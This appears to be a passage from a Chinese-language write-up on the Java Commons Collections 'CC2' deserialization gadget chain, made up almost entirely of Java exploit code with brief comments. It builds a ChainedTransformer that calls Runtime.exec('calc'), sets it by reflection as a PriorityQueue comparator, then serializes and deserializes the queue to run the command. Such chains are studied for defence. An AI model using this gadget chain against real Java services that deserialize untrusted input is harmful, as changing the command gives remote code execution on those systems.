Class c = Runtime.class; Transformer[] t = new Transformer[] { new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(t);
开头的链子依旧不变,而调用transform的类变了
1
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
会执行两次,但终归会执行命令
1 2 3
PriorityQueue priorityQueue = new PriorityQueue(1); //在下面对应 priorityQueue.add(1); priorityQueue.add(2);
Class aClass = priorityQueue.getClass(); Field f = aClass.getDeclaredField("comparator"); f.setAccessible(true); f.set(priorityQueue, transformingComparator); seriliaze(priorityQueue); unserilize("ser.bin");
public class cc2 { public static void main(String[] args) throws Exception { Class c = Runtime.class; Transformer[] t = new Transformer[] { new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(t); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Class aClass = priorityQueue.getClass(); Field f = aClass.getDeclaredField("comparator"); f.setAccessible(true); f.set(priorityQueue, transformingComparator); seriliaze(priorityQueue); unserilize("ser.bin");
// Method getDeclaredMethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(c); // Object invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getDeclaredMethod); // new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(invoke);